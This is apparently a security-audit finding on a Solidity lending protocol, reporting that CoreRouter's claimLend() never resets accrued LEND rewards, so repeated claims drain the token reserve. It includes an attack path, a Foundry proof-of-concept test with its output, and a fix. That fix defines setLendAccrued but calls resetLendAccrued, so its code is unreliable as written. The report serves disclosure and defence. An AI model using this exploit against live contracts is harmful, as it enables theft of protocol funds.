Sweet Satin Donkey

High

# Users will drain LEND tokens by claiming rewards multiple times

### Summary

The missing reset of `lendAccrued` after successful token transfer will cause a complete drain of LEND tokens for the protocol as users will repeatedly claim the same accrued rewards until the contract balance is depleted.

### Root Cause

In `CoreRouter::claimLend()`, after `grantLendInternal()` successfully transfers LEND tokens to the user, the `lendAccrued` mapping is not reset to 0. This allows users to call `claimLend()` multiple times to claim the same rewards repeatedly.

https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L399-L403

https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L416-L425

### Internal Pre-conditions

N/A

### External Pre-conditions

N/A

### Attack Path

1. User supplies or borrows tokens in the protocol to accrue LEND rewards
2. User calls `CoreRouter::claimLend()` with valid parameters
3. The function executes successfully and transfers LEND tokens to the user via `grantLendInternal()`
4. The `lendAccrued[user]` value remains unchanged instead of being reset to 0
5. User immediately calls `claimLend()` again and receives the same amount of LEND tokens
6. User repeats step 5 until the contract's LEND balance is depleted

### Impact

The protocol suffers a complete loss of all LEND tokens held in the `CoreRouter ` contract. Users can drain the entire LEND token reserve by repeatedly claiming the same rewards

### PoC

Add the following test case to the `TestLendAccrual.t.sol` file:

```solidity
function test_claim_lend_multiple_times() public {
    address lendAddress = lendtroller.getLendAddress();

    // Supply tokens to start accruing LEND
    uint256 supplyAmount = 1000e18;
    (, address lToken) = _supply(supplyAmount, user1);

    _supply(10000e18, user2);

    // Advance time and blocks
    vm.warp(block.timestamp + 1 days);
    vm.roll(block.number + 1000);

    // Trigger LEND distribution
    vm.prank(user1);
    address[] memory holders = new address[](1);
    holders[0] = user1;
    LToken[] memory lTokenArray = new LToken[](1);
    lTokenArray[0] = LToken(lToken);

    uint256 initialLendAccrued = lendStorage.lendAccrued(user1);
    uint256 lendBalanceBefore = IERC20(lendAddress).balanceOf(user1);

    coreRouter.claimLend(holders, lTokenArray, false, true);

    uint256 lendBalanceAfter = IERC20(lendAddress).balanceOf(user1);

    console2.log("lendBalanceBefore", lendBalanceBefore);
    console2.log("lendBalanceAfter", lendBalanceAfter);

    coreRouter.claimLend(holders, lTokenArray, false, true);
    coreRouter.claimLend(holders, lTokenArray, false, true);
    coreRouter.claimLend(holders, lTokenArray, false, true);
    coreRouter.claimLend(holders, lTokenArray, false, true);
    coreRouter.claimLend(holders, lTokenArray, false, true);
    coreRouter.claimLend(holders, lTokenArray, false, true);

    uint256 lendBalanceFinal = IERC20(lendAddress).balanceOf(user1);

    console2.log("lendBalanceFinal", lendBalanceFinal);

    // Get final LEND accrued
    uint256 finalLendAccrued = lendStorage.lendAccrued(user1);

    // lendAccrued remains going up and is not reset to 0 after claimLend()
    assertGt(finalLendAccrued, initialLendAccrued);
    assertGt(lendBalanceFinal, lendBalanceBefore);
    assertGt(lendBalanceFinal, lendBalanceAfter);
}
```

Run the test case and observe the output:

```bash
forge test --mt test_claim_lend_multiple_times -vv
```

```bash
Ran 1 test for test/mocks/TestLendAccrual.t.sol:TestLendAccrual
[PASS] test_claim_lend_multiple_times() (gas: 1093630)
Logs:
  lendBalanceBefore 0
  lendBalanceAfter 9090909090909090
  lendBalanceFinal 63636363636363630
```

### Mitigation

Add a function to set the remaining `lendAccrued` in LendStorage and call it after successful token transfer:

```solidity
// In LendStorage.sol
function setLendAccrued(address user, uint256 amount) external onlyAuthorized {
    lendAccrued[user] = amount;
}

// In CoreRouter.sol claimLend function, after line 401:
for (uint256 j = 0; j < holders.length;) {
    uint256 accrued = lendStorage.lendAccrued(holders[j]);
    if (accrued > 0) {
        uint256 remaining = grantLendInternal(holders[j], accrued);
        lendStorage.resetLendAccrued(holders[j], remaining);
    }
    unchecked {
        ++j;
    }
}
```